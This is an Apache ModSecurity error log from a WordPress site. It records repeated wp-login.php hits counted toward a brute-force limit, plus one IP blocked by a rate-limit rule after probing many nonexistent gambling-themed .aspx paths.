[Wed Apr 22 18:31:50.538736 2026] [:error] [pid 6344:tid 6354] [client 103.74.54.128:46852] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeijlkDOTF-pkQnDeUnI6QAAAAU"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 18:42:22.731076 2026] [:error] [pid 6344:tid 6363] [client 185.66.91.225:41964] [client 185.66.91.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.66.91.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeimDkDOTF-pkQnDeUnM1gAAAA4"]
[Wed Apr 22 18:47:10.076778 2026] [:error] [pid 9085:tid 9088] [client 173.239.240.96:22777] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeinLt-_-or9vQnlWnoeqAAAAUE"]
[Wed Apr 22 18:57:41.749012 2026] [:error] [pid 6384:tid 6393] [client 89.117.79.118:37124] [client 89.117.79.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.79.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeippT58M3t15ICeWHUASQAAAMY"]
[Wed Apr 22 18:57:43.682768 2026] [:error] [pid 6384:tid 6402] [client 89.117.79.118:37124] [client 89.117.79.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.117.79.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeippz58M3t15ICeWHUASgAAAM8"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 19:06:53.234972 2026] [:error] [pid 6250:tid 6273] [client 68.178.231.21:59332] [client 68.178.231.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.231.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeirzQ-iZeQkqmQVfj738gAAAFM"]
[Wed Apr 22 19:06:54.914331 2026] [:error] [pid 6250:tid 6264] [client 68.178.231.21:59332] [client 68.178.231.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.231.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeirzg-iZeQkqmQVfj73-gAAAEo"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 19:22:06.875556 2026] [:error] [pid 9085:tid 9092] [client 136.144.35.246:45731] [client 136.144.35.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeivXt-_-or9vQnlWno08gAAAUU"]
[Wed Apr 22 19:22:06.876071 2026] [:error] [pid 6250:tid 6255] [client 173.239.240.93:21863] [client 173.239.240.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeivXg-iZeQkqmQVfj77WgAAAEE"]
[Wed Apr 22 19:35:43.363128 2026] [:error] [pid 6384:tid 6398] [client 136.144.35.244:30869] [client 136.144.35.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeiyjz58M3t15ICeWHUVYAAAAMs"]
[Wed Apr 22 19:35:43.363128 2026] [:error] [pid 6251:tid 6290] [client 136.144.35.254:25431] [client 136.144.35.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.254, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeiyjysFAzbyObL-SQ5w8wAAAIU"]
[Wed Apr 22 19:49:19.936969 2026] [:error] [pid 6344:tid 6357] [client 136.144.35.247:58429] [client 136.144.35.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei1v0DOTF-pkQnDeUnftgAAAAg"]
[Wed Apr 22 19:49:19.937422 2026] [:error] [pid 6344:tid 6349] [client 136.144.35.250:23407] [client 136.144.35.250] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.250, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei1v0DOTF-pkQnDeUnftwAAAAA"]
[Wed Apr 22 20:03:09.304697 2026] [:error] [pid 6344:tid 6361] [client 136.144.35.249:63947] [client 136.144.35.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei4_UDOTF-pkQnDeUnj7gAAAAw"]
[Wed Apr 22 20:03:09.304697 2026] [:error] [pid 23776:tid 23787] [client 173.239.240.97:42327] [client 173.239.240.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei4_bRExf-1pAbSeJvcQQAAAYk"]
[Wed Apr 22 20:13:28.290292 2026] [:error] [pid 6252:tid 6329] [client 65.75.200.71:59714] [client 65.75.200.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.75.200.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei7aOtGYuiYb1nWBpRGzgAAARE"]
[Wed Apr 22 20:13:32.205429 2026] [:error] [pid 6252:tid 6322] [client 65.75.200.71:59714] [client 65.75.200.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.75.200.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei7bOtGYuiYb1nWBpRG0wAAAQo"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 20:17:18.624430 2026] [:error] [pid 6252:tid 6333] [client 136.144.35.252:35351] [client 136.144.35.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.252, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei8TutGYuiYb1nWBpRHXwAAARU"]
[Wed Apr 22 20:17:18.626364 2026] [:error] [pid 6252:tid 6312] [client 136.144.35.247:41807] [client 136.144.35.247] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.35.247, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei8TutGYuiYb1nWBpRHYAAAAQA"]
[Wed Apr 22 20:19:54.066857 2026] [:error] [pid 9085:tid 9092] [client 103.142.255.219:53856] [client 103.142.255.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.255.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei86t-_-or9vQnlWnpXWwAAAUU"]
[Wed Apr 22 20:20:08.890685 2026] [:error] [pid 6384:tid 6406] [client 103.142.255.218:41684] [client 103.142.255.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.255.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei8-D58M3t15ICeWHUoOQAAANM"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 20:20:25.921561 2026] [:error] [pid 9085:tid 9100] [client 65.108.125.120:17954] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aei9Cd-_-or9vQnlWnpXmAAAAU0"]
[Wed Apr 22 20:20:27.929153 2026] [:error] [pid 6344:tid 6358] [client 65.108.125.120:46380] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aei9C0DOTF-pkQnDeUnnoAAAAAk"]
[Wed Apr 22 20:20:29.918944 2026] [:error] [pid 9085:tid 9087] [client 65.108.125.120:46390] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aei9Dd-_-or9vQnlWnpXrQAAAUA"]
[Wed Apr 22 20:20:31.926756 2026] [:error] [pid 23776:tid 23789] [client 65.108.125.120:46398] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aei9D7RExf-1pAbSeJvh9wAAAYs"]
[Wed Apr 22 20:20:33.946244 2026] [:error] [pid 6344:tid 6370] [client 65.108.125.120:46400] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aei9EUDOTF-pkQnDeUnnqgAAABU"]
[Wed Apr 22 20:20:35.943978 2026] [:error] [pid 23776:tid 23784] [client 65.108.125.120:46408] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aei9E7RExf-1pAbSeJviAQAAAYY"]
[Wed Apr 22 20:20:37.946957 2026] [:error] [pid 6252:tid 6323] [client 65.108.125.120:61460] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aei9FetGYuiYb1nWBpRIMAAAAQs"]
[Wed Apr 22 20:20:39.973124 2026] [:error] [pid 9085:tid 9098] [client 65.108.125.120:61470] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aei9F9-_-or9vQnlWnpXyAAAAUs"]
[Wed Apr 22 20:20:41.997976 2026] [:error] [pid 6250:tid 6264] [client 65.108.125.120:61476] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aei9GQ-iZeQkqmQVfj4HnwAAAEo"]
[Wed Apr 22 20:20:43.991045 2026] [:error] [pid 9085:tid 9098] [client 65.108.125.120:61488] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aei9G9-_-or9vQnlWnpX0QAAAUs"]
[Wed Apr 22 20:20:46.001398 2026] [:error] [pid 6252:tid 6333] [client 65.108.125.120:61492] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aei9HutGYuiYb1nWBpRIPgAAARU"]
[Wed Apr 22 20:20:48.007141 2026] [:error] [pid 6384:tid 6401] [client 65.108.125.120:14156] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aei9ID58M3t15ICeWHUobwAAAM4"]
[Wed Apr 22 20:20:49.916679 2026] [:error] [pid 6251:tid 6291] [client 65.108.125.120:14166] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aei9ISsFAzbyObL-SQ54KwAAAIY"]
[Wed Apr 22 20:20:51.930319 2026] [:error] [pid 6344:tid 6357] [client 65.108.125.120:14172] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aei9I0DOTF-pkQnDeUnntwAAAAg"]
[Wed Apr 22 20:20:53.959932 2026] [:error] [pid 23776:tid 23795] [client 65.108.125.120:14176] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aei9JbRExf-1pAbSeJviDQAAAZE"]
[Wed Apr 22 20:20:55.974494 2026] [:error] [pid 6384:tid 6410] [client 65.108.125.120:14182] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aei9Jz58M3t15ICeWHUohgAAANc"]
[Wed Apr 22 20:20:58.115858 2026] [:error] [pid 6252:tid 6323] [client 65.108.125.120:34478] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aei9KutGYuiYb1nWBpRIRwAAAQs"]
[Wed Apr 22 20:21:00.150897 2026] [:error] [pid 23776:tid 23783] [client 65.108.125.120:34482] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aei9LLRExf-1pAbSeJviGgAAAYU"]
[Wed Apr 22 20:21:02.179916 2026] [:error] [pid 6344:tid 6355] [client 65.108.125.120:34498] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aei9LkDOTF-pkQnDeUnnvgAAAAY"]
[Wed Apr 22 20:21:04.228164 2026] [:error] [pid 6384:tid 6402] [client 65.108.125.120:34510] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aei9MD58M3t15ICeWHUomAAAAM8"]
[Wed Apr 22 20:21:06.251872 2026] [:error] [pid 6384:tid 6397] [client 65.108.125.120:34518] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aei9Mj58M3t15ICeWHUonQAAAMo"]
[Wed Apr 22 20:21:08.274093 2026] [:error] [pid 9085:tid 9102] [client 65.108.125.120:53800] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aei9NN-_-or9vQnlWnpYHQAAAU8"]
[Wed Apr 22 20:21:10.205343 2026] [:error] [pid 9085:tid 9109] [client 65.108.125.120:53802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aei9Nt-_-or9vQnlWnpYJAAAAVY"]
[Wed Apr 22 20:21:12.229548 2026] [:error] [pid 9085:tid 9109] [client 65.108.125.120:53808] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aei9ON-_-or9vQnlWnpYJgAAAVY"]
[Wed Apr 22 20:21:14.169104 2026] [:error] [pid 6251:tid 6285] [client 65.108.125.120:53824] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aei9OisFAzbyObL-SQ54LgAAAIA"]
[Wed Apr 22 20:21:16.231723 2026] [:error] [pid 9085:tid 9108] [client 65.108.125.120:53838] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aei9PN-_-or9vQnlWnpYMAAAAVU"]
[Wed Apr 22 20:21:18.109882 2026] [:error] [pid 6384:tid 6398] [client 65.108.125.120:25624] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aei9Pj58M3t15ICeWHUowwAAAMs"]
[Wed Apr 22 20:21:20.111473 2026] [:error] [pid 6251:tid 6299] [client 65.108.125.120:25634] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aei9QCsFAzbyObL-SQ54MgAAAI4"]
[Wed Apr 22 20:23:28.270148 2026] [:error] [pid 23776:tid 23778] [client 162.241.253.195:49168] [client 162.241.253.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.253.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei9wLRExf-1pAbSeJvjJgAAAYA"]
[Wed Apr 22 20:23:34.366894 2026] [:error] [pid 23776:tid 23788] [client 162.241.253.195:49168] [client 162.241.253.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.253.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei9xrRExf-1pAbSeJvjNgAAAYo"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 20:25:25.563833 2026] [:error] [pid 23776:tid 23793] [client 54.78.161.182:39106] [client 54.78.161.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.78.161.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei-NbRExf-1pAbSeJvj0QAAAY8"]
[Wed Apr 22 20:31:20.641429 2026] [:error] [pid 23776:tid 23793] [client 173.239.240.96:41625] [client 173.239.240.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei_mLRExf-1pAbSeJvmwwAAAY8"]
[Wed Apr 22 20:31:21.634869 2026] [:error] [pid 23776:tid 23794] [client 173.239.240.30:25013] [client 173.239.240.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aei_mbRExf-1pAbSeJvmyQAAAZA"]
[Wed Apr 22 20:46:07.352966 2026] [:error] [pid 6384:tid 6411] [client 173.239.240.91:38399] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejDDz58M3t15ICeWHUzcQAAANg"]
[Wed Apr 22 20:46:07.354215 2026] [:error] [pid 9085:tid 9091] [client 173.239.240.30:28807] [client 173.239.240.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.30, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejDD9-_-or9vQnlWnpluwAAAUQ"]
[Wed Apr 22 21:00:07.564934 2026] [:error] [pid 6252:tid 6318] [client 173.239.240.91:21337] [client 173.239.240.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aejGV-tGYuiYb1nWBpRQKwAAAQY"]
